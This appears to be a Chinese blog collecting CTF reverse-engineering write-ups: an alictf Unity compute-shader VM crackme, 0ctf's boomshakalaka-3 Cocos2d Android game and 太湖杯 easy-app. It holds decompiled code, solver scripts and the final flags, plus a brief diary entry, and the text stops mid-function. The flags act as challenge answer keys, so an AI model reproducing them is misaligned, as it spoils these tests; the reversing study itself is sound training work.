          runEncryptAsync_5__3 = this->fields._runEncryptAsync_5__3;
          if ( !runEncryptAsync_5__3 )
            sub_1801579F0(0, v23);
          v25 = (runEncryptAsync_5__3->fields.invoke_impl)(
                  runEncryptAsync_5__3->fields.method_code,
                  runEncryptAsync_5__3->fields.method);
          if ( !v25 )
            sub_1801579F0(v27, v26);
          v47.fields.m_task = System_Threading_Tasks_Task__GetAwaiter(v25, 0).fields.m_task;
          if ( !System_Runtime_CompilerServices_ConfiguredTaskAwaitable_ConfiguredTaskAwaiter___Il2CppFullySharedGenericType___get_IsCompleted(
                  &v47,
                  0) )
          {
            this->fields.__1__state = 2;
            this->fields.__u__2.fields.m_task = v47.fields.m_task;
            sub_180156C70(&this->fields.__u__2, 0);
            System_Runtime_CompilerServices_AsyncVoidMethodBuilder__AwaitUnsafeOnCompleted_TaskAwaiter__Controller__Check_d__18_(
              &this->fields.__t__builder,
              &v47,
              this,
              Method_System_Runtime_CompilerServices_AsyncVoidMethodBuilder_AwaitUnsafeOnCompleted_TaskAwaiter__Controller__Check_d__18___);
            return;
          }
LABEL_20: // 第三个 await
          System_Runtime_CompilerServices_TaskAwaiter__GetResult(&v47, 0);
          // 调 runEncryptAsync
          v29 = this->fields._runEncryptAsync_5__3;
          if ( !v29 )
            sub_1801579F0(0, v28);
          v30 = (v29->fields.invoke_impl)(v29->fields.method_code, v29->fields.method);
          if ( !v30 )
            sub_1801579F0(v32, v31);
          v47.fields.m_task = System_Threading_Tasks_Task__GetAwaiter(v30, 0).fields.m_task;
          if ( !System_Runtime_CompilerServices_ConfiguredTaskAwaitable_ConfiguredTaskAwaiter___Il2CppFullySharedGenericType___get_IsCompleted(
                  &v47,
                  0) )
          {
            this->fields.__1__state = 3;
            this->fields.__u__2.fields.m_task = v47.fields.m_task;
            sub_180156C70(&this->fields.__u__2, 0);
            System_Runtime_CompilerServices_AsyncVoidMethodBuilder__AwaitUnsafeOnCompleted_TaskAwaiter__Controller__Check_d__18_(
              &this->fields.__t__builder,
              &v47,
              this,
              Method_System_Runtime_CompilerServices_AsyncVoidMethodBuilder_AwaitUnsafeOnCompleted_TaskAwaiter__Controller__Check_d__18___);
            return;
          }
LABEL_23: // 第四个 await
          System_Runtime_CompilerServices_TaskAwaiter__GetResult(&v47, 0);
          // 调 runEncryptAsync
          v34 = this->fields._runEncryptAsync_5__3;
          if ( !v34 )
            sub_1801579F0(0, v33);
          v35 = (v34->fields.invoke_impl)(v34->fields.method_code, v34->fields.method);
          if ( !v35 )
            sub_1801579F0(v37, v36);
          v47.fields.m_task = System_Threading_Tasks_Task__GetAwaiter(v35, 0).fields.m_task;
          if ( !System_Runtime_CompilerServices_ConfiguredTaskAwaitable_ConfiguredTaskAwaiter___Il2CppFullySharedGenericType___get_IsCompleted(
                  &v47,
                  0) )
          {
            this->fields.__1__state = 4;
            this->fields.__u__2.fields.m_task = v47.fields.m_task;
            sub_180156C70(&this->fields.__u__2, 0);
            System_Runtime_CompilerServices_AsyncVoidMethodBuilder__AwaitUnsafeOnCompleted_TaskAwaiter__Controller__Check_d__18_(
              &this->fields.__t__builder,
              &v47,
              this,
              Method_System_Runtime_CompilerServices_AsyncVoidMethodBuilder_AwaitUnsafeOnCompleted_TaskAwaiter__Controller__Check_d__18___);
            return;
          }
LABEL_26: // 第五个 await
          System_Runtime_CompilerServices_TaskAwaiter__GetResult(&v47, 0);
          // 调 runCheckAsync
          runCheckAsync_5__4 = this->fields._runCheckAsync_5__4;
          if ( !runCheckAsync_5__4 )
            sub_1801579F0(0, v38);
          v40 = (runCheckAsync_5__4->fields.invoke_impl)(
                  runCheckAsync_5__4->fields.method_code,
                  runCheckAsync_5__4->fields.method);
          if ( !v40 )
            sub_1801579F0(v42, v41);
          v47.fields.m_task = System_Threading_Tasks_Task__GetAwaiter(v40, 0).fields.m_task;
          if ( !System_Runtime_CompilerServices_ConfiguredTaskAwaitable_ConfiguredTaskAwaiter___Il2CppFullySharedGenericType___get_IsCompleted(
                  &v47,
                  0) )
          {
            this->fields.__1__state = 5;
            this->fields.__u__2.fields.m_task = v47.fields.m_task;
            sub_180156C70(&this->fields.__u__2, 0);
            System_Runtime_CompilerServices_AsyncVoidMethodBuilder__AwaitUnsafeOnCompleted_TaskAwaiter__Controller__Check_d__18_(
              &this->fields.__t__builder,
              &v47,
              this,
              Method_System_Runtime_CompilerServices_AsyncVoidMethodBuilder_AwaitUnsafeOnCompleted_TaskAwaiter__Controller__Check_d__18___);
            return;
          }
LABEL_29: // 第六个 await
          // 清理字段，SetResult()
          System_Runtime_CompilerServices_TaskAwaiter__GetResult(&v47, 0);
        }
        else
        {
          if ( !_4__this )
            sub_1801579F0(v18, v17);
          klass = _4__this[7].klass;
          v44 = sub_180156CF0(int___TypeInfo, 1);
          if ( !v44 )
            sub_1801579F0(v46, v45);
          if ( !*(v44 + 24) )
            sub_1801579E0();
          *(v44 + 32) = 1;
          if ( !klass )
            sub_1801579F0(v46, v45);
          UnityEngine_ComputeBuffer__SetData(klass, v44, 0);
        }
        this->fields.__1__state = -2;
        this->fields._uploadFlagAsync_5__2 = 0;
        sub_180156C70(&this->fields._uploadFlagAsync_5__2, 0);
        this->fields._runEncryptAsync_5__3 = 0;
        sub_180156C70(&this->fields._runEncryptAsync_5__3, 0);
        this->fields._runCheckAsync_5__4 = 0;
        sub_180156C70(&this->fields._runCheckAsync_5__4, 0);
        System_Runtime_CompilerServices_AsyncVoidMethodBuilder__SetResult(&this->fields.__t__builder, 0);
      }
      else
      {
        this->fields.__1__state = 0;
        this->fields.__u__1.fields.m_task = *&v47.fields.m_continueOnCapturedContext;
        sub_180156C70(&this->fields.__u__1, 0);
        System_Runtime_CompilerServices_AsyncVoidMethodBuilder__AwaitUnsafeOnCompleted_TaskAwaiter_object___Controller__Check_d__18_( // OnCompleted 在这里
          &this->fields.__t__builder,
          &v47.fields.m_continueOnCapturedContext,
          this,
          Method_System_Runtime_CompilerServices_AsyncVoidMethodBuilder_AwaitUnsafeOnCompleted_TaskAwaiter_byte_____Controller__Check_d__18___);
      }
      return;
  }
}

async 函数启动器

跟进 Controller___Check_b__18_x，很常规的 async 函数启动器。分析一个

System_Threading_Tasks_Task_byte____o *Controller___Check_b__18_0(Controller_o *this, const MethodInfo *method)
{
  const MethodInfo *v2; // r8
  UnityEngine_Bounds_o v5; // [rsp+20h] [rbp-58h] BYREF
  Controller___Check_b__18_0_d_o v6; // [rsp+38h] [rbp-40h] BYREF

  if ( !byte_180F4C9A5 )
  {
    sub_180157800();
    sub_180157800();
    sub_180157800();
    sub_180157800();
    byte_180F4C9A5 = 1;
  } // 初始化栅栏
    
  // v6 为 StateMachine 对象
  *&v6.fields.__1__state = 0;
  *&v6.fields.__4__this = 0;
  if ( !System_Runtime_CompilerServices_AsyncTaskMethodBuilder_byte____TypeInfo->_2.cctor_finished ) // C# 第一次用到某个类型前，CLR 会保证静态构造（.cctor）已经执行
    il2cpp_runtime_class_init(System_Runtime_CompilerServices_AsyncTaskMethodBuilder_byte____TypeInfo, method);
  
  // 这段莫名其妙，应该是反编译误判
  // v6.fields.__t__builder = AsyncTaskMethodBuiler<byte>.Create();
  TMPro_TMP_Text__GetCompoundBounds(
    &v5,
    Method_System_Runtime_CompilerServices_AsyncTaskMethodBuilder_byte____Create__,
    v2);
  v6.fields.__t__builder = v5;
  sub_180156C70(&v6.fields.__t__builder, 0);
    
  v6.fields.__4__this = this;
  sub_180156C70(&v6.fields.__4__this, this);
  v6.fields.__1__state = -1;
  // v6.__t__builder.Start(ref v6.builder, ref v6)
    
  // builder 启动方法
  System_Runtime_CompilerServices_AsyncTaskMethodBuilder_object___Start_Controller___Check_b__18_0_d_(
    &v6.fields.__t__builder,
    &v6,
    Method_System_Runtime_CompilerServices_AsyncTaskMethodBuilder_byte____Start_Controller___Check_b__18_0_d___);
  return System_Runtime_CompilerServices_AsyncTaskMethodBuilder_object___get_Task(
           &v6.fields.__t__builder,
           Method_System_Runtime_CompilerServices_AsyncTaskMethodBuilder_byte____get_Task__); // return v6.builder.Task 返回 Task
}

sub_180156C70 是 GC 写屏障（避免 GC 漏记引用）

Check() 业务逻辑

Check_b__18_0：没有名字，就是从文本框取花括号内的文本转成 ASCII 写到 Result

Check_b__18_1：uploadFlagAsync，把输入当成宽 16，高 1 的 Texture2D 写入 TexF

Check_b__18_2：runEncryptAsync，就是 UnityEngine_ComputeShader__Dispatch(Shader0, _4__this->fields.K0, 1, 1, 1, 0);

Check_b__18_3：runCheckAsync，就是 UnityEngine_ComputeShader__Dispatch(Shader0, _4__this->fields.K1, 1, 1, 1, 0);

uploadFlagAsync

Pixel

pixel 是 Texture 里一个格子的颜色值，Texture2D 的像素通常按行排（线性索引第 i 个像素 x = i % width, y = i / width）

Color32

Unity 由两种常用颜色结构：

Color：float 的 RGBA（0~1），精度高，性能低
Color32：byte 的 RGBA（0~255），更适合像素操作

Color32 本质就是 4 个 byte，r, g, b, a

v9 = sub_180156CF0(UnityEngine_Color32___TypeInfo, 16); // new 一个 Color32[16]
for ( i = 0; i < 16; i = (i + 1) )
{
  bytes = this->fields.bytes; // 输入
  if ( !bytes )
    sub_1801579F0();
  if ( i >= LODWORD(bytes->max_length) )
    sub_1801579E0(bytes, i, v8, v9);
  v12 = bytes->m_Items[i];
  LOBYTE(v17) = v12; // R: input
  *(&v17 + 1) = 0;
  HIBYTE(v17) = -1; // A: 255
  if ( !v9 )
    sub_1801579F0();
  if ( i >= *(v9 + 24) )
    sub_1801579E0(v12, i, v8, v9);
  *(v9 + 4LL * i + 32) = v17; // 把 v17 放到 Color32[16] 里面，+32 是在跳过对象头
}

v7 = sub_1800F5060(UnityEngine_Texture2D_TypeInfo, v6); // new 一个 宽 16 高 1 的 Texture2D
UnityEngine_Texture2D___ctor_6451756016(v7, 16, 1, 63, 0, 1, 0);
UnityEngine_Texture2D__SetPixels32_6451755632(v7, v9, 0); // 把 Pixel 写入纹理
UnityEngine_Texture2D__Apply_6451753536(v7, 0); // 上传到 GPU

TexF = _4__this->fields.TexF; // 取 TexF 字段指针
if ( !UnityEngine_Graphics_TypeInfo->_2.cctor_finished )
  il2cpp_runtime_class_init(UnityEngine_Graphics_TypeInfo, v13);
UnityEngine_Graphics__CopyTexture(v7, 0, 0, TexF, 0, 0, 0); // 把输入得到的 Texture copy 到 TexF

runCheckAsync

Buffer0 = _4__this->fields.Buffer0; // 取 ComputeBuffer（Start 里面分配的）
v7 = sub_180156CF0(int___TypeInfo, 1);
if ( !Buffer0 )
  sub_1801579F0();
UnityEngine_ComputeBuffer__SetData(Buffer0, v7, 0); // 值设成 0
Shader0 = _4__this->fields.Shader0;
if ( !Shader0 )
  sub_1801579F0();
UnityEngine_ComputeShader__Dispatch(Shader0, _4__this->fields.K1, 1, 1, 1, 0);

信息整理

K0: TexV（CoTex），TexF

K1: TexC（CiTex），TexF

K2: TexR（OutputTex），Tex0（CorrectTex），Tex1（WrongTex）

# dump_png.py
from PIL import Image

def dump_png(png_path):
    img = Image.open(png_path).convert("RGBA")
    w, h = img.size
    px = img.load()

    N = min(w, 1024)

    result = []
    for x in range(N):
        r,g,b,a = px[x,0]         
        result.append((r,g,b,a))

    for i,(op,y,z,w_) in enumerate(result[:50]):
        print(f"({op}, {y}, {z}, {w_}),")

dump_png("ExportedProject/Assets/Resources/coTex.png")
print()
dump_png("ExportedProject/Assets/Resources/ciTex.png")

"""
(0, 1, 0, 42),
(0, 2, 0, 0),
(1, 0, 2, 0),
(2, 0, 1, 0),
(3, 0, 2, 0),
(4, 0, 0, 7),
(6, 0, 2, 0),
(7, 2, 0, 0),
(6, 1, 0, 0),
(5, 2, 2, 1),
(8, 2, 0, 16),
(9, 0, 0, 247),
(10, 0, 0, 0),

(233, 0, 0, 255),
(142, 0, 0, 255),
(138, 0, 0, 255),
(138, 0, 0, 255),
(183, 0, 0, 255),
(231, 0, 0, 255),
(201, 0, 0, 255),
(224, 0, 0, 255),
(184, 0, 0, 255),
(151, 0, 0, 255),
(183, 0, 0, 255),
(75, 0, 0, 255),
(59, 0, 0, 255),
(33, 0, 0, 255),
(211, 0, 0, 255),
(124, 0, 0, 255),
"""

ComputeShader

AssetRipper 把 asset 搞下来，跑一下 assets2dxbc，然后 HLSLDecompiler 拿到 kernel

K0 是 vm，coTex 是 opcode；K1 做校验，结果写入 Buffer；K2 根据 Buffer 渲染贴图

vm dump 下来大概是

0000: MOV   R01, #42
0001: MOV   R02, #0
0002: LDK   R00, KEY[R02 & 0x0F]
0003: XOR   R00, R01
0004: ROL8  R00, (R02 & 7)
0005: MUL   R00, R00, #7
0006: ADD   R00, R02
0007: STO   O[R02 & 0x0F], R00
0008: ADD   R01, R00
0009: ADDI  R02, R02, #1
0010: CMPLO R02, #16    ; flag = (R02 < 16)
0011: JLT   0002 (pc-9) ; if flag jump
0012: DB    10,0,0,0     ; unknown

逆过来

def vm(r_value: List[int]) -> List[int]:
    R1 = 42
    
    Data = r_value
    OutVar = [0] * 16    
    
    for i, d in enumerate(Data):
        x = (d - i) & 0xFF
        x = (x * 183) & 0xFF
        x = ror8(x, i & 7)
        x = x ^ R1
        OutVar[i] = x
        R1 = (R1 + d) & 0xFF
    print("Check:", OutVar)
    return OutVar

K1 的校验加了一步 TexF[i] == (TexC[i] + i) mod 256

if __name__ == "__main__":
    texc = [(233, 0, 0, 255),
    (142, 0, 0, 255),
    (138, 0, 0, 255),
    (138, 0, 0, 255),
    (183, 0, 0, 255),
    (231, 0, 0, 255),
    (201, 0, 0, 255),
    (224, 0, 0, 255),
    (184, 0, 0, 255),
    (151, 0, 0, 255),
    (183, 0, 0, 255),
    (75, 0, 0, 255),
    (59, 0, 0, 255),
    (33, 0, 0, 255),
    (211, 0, 0, 255),
    (124, 0, 0, 255)]
    texc_fixed = [r-i for i, (r,g,b,a) in enumerate(texc)]

    out = vm(vm(vm(texc_fixed)))
    print(''.join(chr(_) for _ in out))
    
"""
Check: [165, 25, 18, 163, 62, 189, 40, 59, 248, 25, 127, 183, 91, 50, 9, 119]
Check: [217, 219, 244, 246, 250, 159, 161, 152, 107, 203, 228, 21, 213, 6, 122, 104]
Check: [53, 104, 97, 100, 101, 114, 86, 77, 95, 82, 101, 112, 51, 97, 116, 33]
5haderVM_Rep3at!
"""

alictf{5haderVM_Rep3at!}

除夕

2026-02-16T17:52:33.000Z

除夕夜下了小雨，县城的街上有一些车，几乎听不到扰人的烟花声，不少人家里的灯亮着。我又失眠了。

boomshakalaka-3 && easy-app

2026-02-10T11:47:45.000Z

这两道题都尝试动态去看了，调试过程中遇到很多这样那样的问题，过几天回过头来看居然没遇到什么阻碍，甚至忘记当初遇到什么问题了（？）这就是人生吧（？）

0ctf boomshakalaka-3

打飞机游戏

主活动可以看出 Cocos2 的 java 层一般只做初始化，通过重写 native 的组件来调用主要逻辑。

public class FirstTest extends Cocos2dxActivity {
    @Override // org.cocos2dx.lib.Cocos2dxActivity, android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        a haha = new a(this, "flag");
        haha.d("YmF6aW5nYWFhYQ==");
        a hehe = new a(this, "Cocos2dxPrefsFile");
        hehe.d("N0");
    }

    @Override // org.cocos2dx.lib.Cocos2dxActivity
    public Cocos2dxGLSurfaceView onCreateView() {
        Cocos2dxGLSurfaceView glSurfaceView = new Cocos2dxGLSurfaceView(this);
        a hehe = new a(this, "Cocos2dxPrefsFile");
        hehe.d("MG");
        glSurfaceView.setEGLConfigChooser(5, 6, 5, 0, 16, 8);
        return glSurfaceView;
    }

    static {
        System.loadLibrary("cocos2dcpp");
    }
}

class a

public class a {
    private SharedPreferences editor;

    public a(Context arg1, String arg2) {
        this.editor = null;
        this.editor = arg1.getSharedPreferences(arg2, 0);
    }

    public void b() {
        this.editor.edit().putString("DATA", "").commit();
    }

    public String c() {
        return this.editor.getString("DATA", "");
    }

    public void d(String arg1) {
        this.editor.edit().putString("DATA", String.valueOf(String.valueOf(c())) + arg1).commit();
    }
}

用到 SharedPreferences，玩一把游戏去 /data/data/com.example.plane/shared_prefs 看一眼

sagit:/data/data/com.example.plane/shared_prefs # cat Cocos2dxPrefsFile.xml                                                                                                       
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="DATA">MGN0ZntDMGNvUzJkX0FuRHJvMWRfMGN0ZntDMGNvUzJkX0FuRHJvMWdz99</string>
    <boolean name="isHaveSaveFileXml" value="true" />
    <int name="HighestScore" value="500" />
</map>

解码得0ctf{C0coS2d_AnDro1d_0ctf{C0coS2d。明显不对

MGN0ZntDMGNvUzJkX0FuRHJvMW  Rf   MGN0ZntDMGNvUzJkX0FuRHJvMW  dz99

观察这个东西的结构，第一个部分和第三个部分一样一样，ida 里面搜一下 Rf 和 dz99

int __fastcall GameOverLayer::init(GameOverLayer *this)
{
  v80 = &unk_EEFBEEEB;
  v1 = 0;
  v81 = 0;
  v83 = 0;
  v82 = 0;
  do
  {
    *(&v82 + v1) = *(&v80 + v1) ^ 0xAF;
    ++v1;
  }
  while ( v1 != 4 );
  v3 = cocos2d::CCUserDefault::sharedUserDefault(this);
  sub_E137F4D8(v78, &byte_E13D52A0, v75);
  cocos2d::CCUserDefault::getStringForKey(v77, v3, &v82, v78);
  v4 = sub_E137DDDC(v78);
  v5 = cocos2d::CCUserDefault::sharedUserDefault(v4);
  sub_E137EF30(v79, v77);
  sub_E137ECB4(v79, "dz99");
  cocos2d::CCUserDefault::setStringForKey(v5, &v82, v79);
...

在 GameOverLayer::init() 里面找到，那就是说游戏结束会把 dz99 加到 SharedPreference 里。到这里可以猜测字符片段是随游戏进行加进来的，而且显然会有一个判断对部分字符进行拦截，这个判断不难想到跟分数有关。扫一眼 setStringForKey 的 xref，找到

cocos2d::CCUserDefault *__fastcall ControlLayer::updateScore(cocos2d::CCUserDefault *this, const char *a2)
{
  int v2; // r3
  int v4; // r7
  cocos2d::CCUserDefault *v5; // r0
  int v6; // r5
  _BYTE *v7; // r0
  int v8; // r5
  int v9; // r5
  int v10; // r5
  int v11; // r5
  int v12; // r5
  int v13; // r5
  int v14; // r5
  int v15; // r5
  int v16; // r5
  int v17; // r0
  cocos2d::CCUserDefault *v18; // [sp+4h] [bp-50h]
  _BYTE v19[4]; // [sp+Ch] [bp-48h] BYREF
  _BYTE v20[4]; // [sp+10h] [bp-44h] BYREF
  _BYTE v21[4]; // [sp+14h] [bp-40h] BYREF
  _BYTE v22[4]; // [sp+18h] [bp-3Ch] BYREF
  _BYTE v23[4]; // [sp+1Ch] [bp-38h] BYREF
  _BYTE v24[4]; // [sp+20h] [bp-34h] BYREF
  _BYTE v25[4]; // [sp+24h] [bp-30h] BYREF
  _BYTE v26[4]; // [sp+28h] [bp-2Ch] BYREF
  _BYTE v27[4]; // [sp+2Ch] [bp-28h] BYREF
  _BYTE v28[4]; // [sp+30h] [bp-24h] BYREF
  _BYTE v29[4]; // [sp+34h] [bp-20h] BYREF
  _BYTE v30[4]; // [sp+38h] [bp-1Ch] BYREF
  _BYTE v31[4]; // [sp+3Ch] [bp-18h] BYREF
  char v32[8]; // [sp+40h] [bp-14h] BYREF
  int v33; // [sp+48h] [bp-Ch] BYREF
  char v34; // [sp+4Ch] [bp-8h]

  strcpy(v32, "data");
  v2 = 0;
  v34 = 0;
  v18 = this;
  v33 = 0;
  do
  {
    *(&v33 + v2) = v32[v2] ^ 0x20;
    ++v2;
  }
  while ( v2 != 4 );
  if ( a2 <= 0x3B9ACA00 )
  {
    v4 = cocos2d::CCUserDefault::sharedUserDefault(this);
    sub_E137F4D8(v21, &byte_E13D52A0, v19);
    cocos2d::CCUserDefault::getStringForKey(v20, v4, &v33, v21);
    v5 = sub_E137DDDC(v21);
    if ( a2 == 100 )
    {
      v6 = cocos2d::CCUserDefault::sharedUserDefault(v5);
      std::operator+<char>(v22, v20, "MW");
      cocos2d::CCUserDefault::setStringForKey(v6, &v33, v22);
      v7 = v22;
    }
    else if ( a2 == 600 )
    {
      v8 = cocos2d::CCUserDefault::sharedUserDefault(v5);
      std::operator+<char>(v23, v20, "Rf");
      cocos2d::CCUserDefault::setStringForKey(v8, &v33, v23);
      v7 = v23;
    }
    else if ( a2 == 700 )
    {
      v9 = cocos2d::CCUserDefault::sharedUserDefault(v5);
      std::operator+<char>(v24, v20, "Rz");
      cocos2d::CCUserDefault::setStringForKey(v9, &v33, v24);
      v7 = v24;
    }
    else if ( a2 == 3000 )
    {
      v10 = cocos2d::CCUserDefault::sharedUserDefault(v5);
      std::operator+<char>(v25, v20, "Bt");
      cocos2d::CCUserDefault::setStringForKey(v10, &v33, v25);
      v7 = v25;
    }
    else if ( a2 == 5600 )
    {
      v11 = cocos2d::CCUserDefault::sharedUserDefault(v5);
      std::operator+<char>(v26, v20, "RV");
      cocos2d::CCUserDefault::setStringForKey(v11, &v33, v26);
      v7 = v26;
    }
    else if ( a2 == 9900 )
    {
      v12 = cocos2d::CCUserDefault::sharedUserDefault(v5);
      std::operator+<char>(v27, v20, "9Z");
      cocos2d::CCUserDefault::setStringForKey(v12, &v33, v27);
      v7 = v27;
    }
    else if ( a2 == 18000 )
    {
      v13 = cocos2d::CCUserDefault::sharedUserDefault(v5);
      std::operator+<char>(v28, v20, "b1");
      cocos2d::CCUserDefault::setStringForKey(v13, &v33, v28);
      v7 = v28;
    }
    else if ( a2 == 88800 )
    {
      v14 = cocos2d::CCUserDefault::sharedUserDefault(v5);
      std::operator+<char>(v29, v20, "Vf");
      cocos2d::CCUserDefault::setStringForKey(v14, &v33, v29);
      v7 = v29;
    }
    else if ( a2 == 100000 )
    {
      v15 = cocos2d::CCUserDefault::sharedUserDefault(v5);
      std::operator+<char>(v30, v20, "S2");
      cocos2d::CCUserDefault::setStringForKey(v15, &v33, v30);
      v7 = v30;
    }
    else
    {
      if ( a2 != 1000000000 )
      {
LABEL_25:
        v17 = cocos2d::CCString::createWithFormat("%d", a2);
        (*(**(v18 + 66) + 428))(*(v18 + 66), *(v17 + 20));
        return sub_E137DDDC(v20);
      }
      v16 = cocos2d::CCUserDefault::sharedUserDefault(v5);
      std::operator+<char>(v31, v20, "4w");
      cocos2d::CCUserDefault::setStringForKey(v16, &v33, v31);
      v7 = v31;
    }
    sub_E137DDDC(v7);
    goto LABEL_25;
  }
  return this;
}

那就做完了

0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?}

虚调用

虚调用溯源

可以猜测到这题是通过 cocos2d 组件调用核心逻辑，xref 看不到东西说明是虚调用

.text:E113BC58 ; _DWORD GameScene::init(GameScene *__hidden this)
.text:E113BC58 EXPORT _ZN9GameScene4initEv
.text:E113BC58 _ZN9GameScene4initEv                    ; DATA XREF: .data.rel.ro:`vtable for'GameScene+20↓o
.text:E113BC58
.text:E113BC58 var_1C= -0x1C
.text:E113BC58 var_18= -0x18
.text:E113BC58 var_14= -0x14
.text:E113BC58 var_10= -0x10
.text:E113BC58 var_8= -8
.text:E113BC58
.text:E113BC58 ; __unwind { // sub_E1392F8C
.text:E113BC58 PUSH    {R4-R6,LR}
.text:E113BC5A LDR     R3, =0x796C797C

以这个函数为例，在 prologue 的下一句，即 LDR 下断点，断下后 LR 的值即为 caller。也可以 Stack Trace 直接看

虚调用分析

溯源到 GameOverScene::create() 调用 GameScene::init() 的地方（E1131B68）

.text:E1131B4C ; GameOverScene *__fastcall GameOverScene::create(GameOverScene *this, int)
.text:E1131B4C EXPORT _ZN13GameOverScene6createEi
.text:E1131B4C _ZN13GameOverScene6createEi             ; CODE XREF: PlaneLayer::RemovePlane(void)+14↓p
.text:E1131B4C ; __unwind { // sub_E1388F8C
.text:E1131B4C PUSH    {R3-R5,LR}
.text:E1131B4E MOVS    R5, R0
.text:E1131B50 MOVS    R0, #0xEC                       ; unsigned int
.text:E1131B52 BLX     _Znwj                           ; operator new(uint)
.text:E1131B56 MOVS    R4, R0
.text:E1131B58 BL      _ZN13GameOverSceneC2Ev          ; GameOverScene::GameOverScene(void)
.text:E1131B5C MOVS    R3, R4
.text:E1131B5E ADDS    R3, #0xE8
.text:E1131B60 STR     R5, [R3]
.text:E1131B62 LDR     R3, [R4]
.text:E1131B64 MOVS    R0, R4
.text:E1131B66 LDR     R3, [R3,#0x18]
.text:E1131B68 BLX     R3

稍微看一眼

E1131B4C PUSH    {R3-R5,LR}
E1131B4E MOVS    R5, R0                  ; (1) R5 = arg0（可能是某个外部指针）
E1131B50 MOVS    R0, #0xEC               ; (2) 分配 0xEC 字节
E1131B52 BLX     _Znwj                   ; (3) new 一个新对象，R0 = operator new(0xEC)
E1131B56 MOVS    R4, R0                  ; (4) R4 = this（新对象地址）
E1131B58 BL      _ZN13GameOverSceneC2Ev  ; (5) 调用 GameOverScene 构造函数（C2）
E1131B5C MOVS    R3, R4
E1131B5E ADDS    R3, #0xE8
E1131B60 STR     R5, [R3]                ; (6) *(this+0xE8) = R5（写一个成员）
E1131B62 LDR     R3, [R4]                ; (7) R3 = *(this) = vptr
E1131B64 MOVS    R0, R4                  ; (8) R0 = this，作为成员函数第一个参数
E1131B66 LDR     R3, [R3,#0x18]          ; (9) R3 = *(vptr + 0x18) = vtable[0x18/4]
E1131B68 BLX     R3                      ; (10) call R3(this)

那么这段就相当于

GameOverScene* obj = new GameOverScene();  // operator new + C2
obj->someMember = arg0;                    // *(this+0xE8)=R5
obj->vtable[6](obj);                       // 虚调用第 6 个槽位

构造函数分析

看一眼构造函数

.text:E1131B28 ; void __fastcall GameOverScene::GameOverScene(GameOverScene *this)
.text:E1131B28 EXPORT _ZN13GameOverSceneC2Ev
.text:E1131B28 _ZN13GameOverSceneC2Ev                  ; CODE XREF: GameOverScene::create(int)+C↓p
.text:E1131B28 PUSH    {R4,LR}
.text:E1131B2A MOVS    R4, R0
.text:E1131B2C BL      _ZN7cocos2d7CCSceneC2Ev         ; cocos2d::CCScene::CCScene(void)
.text:E1131B30 LDR     R3, =(_ZTV13GameOverScene_ptr - 0xE1131B3A)
.text:E1131B32 MOVS    R2, R4
.text:E1131B34 ADDS    R2, #0xE4
.text:E1131B36 ADD     R3, PC                          ; _ZTV13GameOverScene_ptr
.text:E1131B38 LDR     R3, [R3]                        ; `vtable for'GameOverScene ...
.text:E1131B3A MOVS    R0, R4
.text:E1131B3C ADDS    R3, #8
.text:E1131B3E STR     R3, [R4]
.text:E1131B40 MOVS    R3, #0
.text:E1131B42 STR     R3, [R2]
.text:E1131B44 STR     R3, [R2,#4]
.text:E1131B46 POP     {R4,PC}
.text:E1131B46 ; End of function GameOverScene::GameOverScene(void)
.text:E1131B46
.text:E1131B46 ; ---------------------------------------------------------------------------
.text:E1131B48 off_E1131B48 DCD _ZTV13GameOverScene_ptr - 0xE1131B3A
.text:E1131B48                                         ; DATA XREF: GameOverScene::GameOverScene(void)+8↑r
.text:E1131B48 ; } // starts at E1131ACC

可以看出来 GameOverScene 继承自 cocos2d 的 CCScene。调用完基类构造函数之后的几步：

.text:E1131B30 LDR     R3, =(_ZTV13GameOverScene_ptr - 0xE1131B3A)
...
.text:E1131B36 ADD     R3, PC                          ; _ZTV13GameOverScene_ptr

Thumb 状态下 PC = 当前指令地址 + 4

因此这段相当于

C = (_ZTV13GameOverScene_ptr - 0xE1131B3A)
R3 = C
PC = E1131B36 + 4 = 0xE1131B3A
R3 = C + PC = _ZTV13GameOverScene_ptr

这样才能正确拿到 vtable，之后写入对象头

.text:E1131B38 LDR     R3, [R3]                        ; `vtable for'GameOverScene ...
.text:E1131B3A MOVS    R0, R4
.text:E1131B3C ADDS    R3, #8
.text:E1131B3E STR     R3, [R4]

后面就是对两个字段进行清理

太湖杯 easy-app

adb install 报错

Performing Streamed Install
adb: failed to install easy_app.apk: Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES: Scanning Failed.: No signature found in package of version 2 or newer for package com.example.myapplication]

apksigner 再签一下就行

apksigner sign -ks ~/Downloads/my-release.keystore --out signed.apk easy_app.apk

魔改点主要在 base64，对部分字节进行了一个循环位移。调试找规律很容易注意到。

def reverse_check1(output:bytes):
    """
    Check1:
        A = input[5:21]; B = input[21:37];
        out1[i] = (ord(A[i]) & 0x0F) | (ord(B[i]) & 0xF0);
        out2[i] = (ord(A[i]) & 0xF0) | (ord(B[i]) & 0x0F);
    """
    A = output[0:16]
    B = output[16:32]
    in1 = bytearray(len(A))
    in2 = bytearray(len(A))
    for i in range(len(A)):
        in1[i] = (A[i] & 0x0F) | (B[i] & 0xF0)
        in2[i] = (A[i] & 0xF0) | (B[i] & 0x0F)
    return in1, in2

def reverse_tea(v0:bytearray, v1:bytearray):
    key = [0x00000042, 0x00000037, 0x0000002C, 0x00000021]
    delta = 0x9E3779B9
    v0 = int.from_bytes(v0, 'little')
    v1 = int.from_bytes(v1, 'little')
    sum = (delta * 32) & 0xFFFFFFFF
    for _round in range(32):
        v1 = (v1 - (((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3]))) & 0xFFFFFFFF
        v0 = (v0 - (((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1]))) & 0xFFFFFFFF
        sum = (sum - delta) & 0xFFFFFFFF
    return v0.to_bytes(4, 'little'), v1.to_bytes(4, 'little')

def base64_encode(input_bytes: bytes):
    import base64
    base64_chars = "abcdefghijklmnopqrstuvwxyz!@#$%^&*()ABCDEFGHIJKLMNOPQRSTUVWXYZ+/"
    encoded_bytes = base64.b64encode(input_bytes)
    translated_str = encoded_bytes.decode().translate(str.maketrans("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", base64_chars))
    result = [''] * len(translated_str)
    for i in range(len(translated_str)):
        if (i+1) % 4 == 0:
            result[i] = translated_str[i]
        else:
